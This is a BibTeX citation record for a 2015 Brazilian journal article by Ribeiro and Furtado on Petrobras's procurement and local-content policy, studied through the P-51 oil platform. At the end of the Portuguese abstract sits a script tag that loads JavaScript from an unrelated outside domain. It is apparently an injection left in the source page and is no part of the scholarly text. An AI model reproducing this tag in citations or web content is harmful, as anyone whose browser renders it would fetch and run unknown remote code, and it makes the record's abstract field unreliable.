@article{Ribeiro_Furtado_2015, place={Campinas, SP}, title={A política de compras da Petrobras: o caso da P-51}, volume={14}, url={https://periodicos.sbu.unicamp.br/ojs/index.php/rbi/article/view/8649109}, DOI={10.20396/rbi.v14i2.8649109}, abstractNote={A Petrobras é uma companhia cuja capacitação tecnológica é reconhecida internacionalmente. Por se tratar de uma empresa ligada ao governo brasileiro, o qual, há alguns anos, a tem impelido a praticar uma política de conteúdo local, salta aos olhos a importância de estudos que visem a investigar os resultados dessa política. O objetivo deste artigo é justamente esse, com base em um estudo detalhado acerca da plataforma P-51. A literatura sobre aprendizagem tecnológica é utilizada para a criação de uma tipologia sobre a política de compras governamentais, bem como de um quadro analítico para avaliar a aprendizagem tecnológica em projetos de plataformas petrolíferas. A análise da plataforma P-51 se baseia em informações coletadas a partir de entrevistas com a Petrobras e seus principais fornecedores. A pesquisa de campo sugere que os impactos da política de compras da Petrobras, em relação ao projeto da P-51, concentraram-se em aprendizagens básicas.<script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, number={2}, journal={Revista Brasileira de Inovação}, author={Ribeiro, Cássio Garcia and Furtado, André Tosi}, year={2015}, month={set.}, pages={289–312} }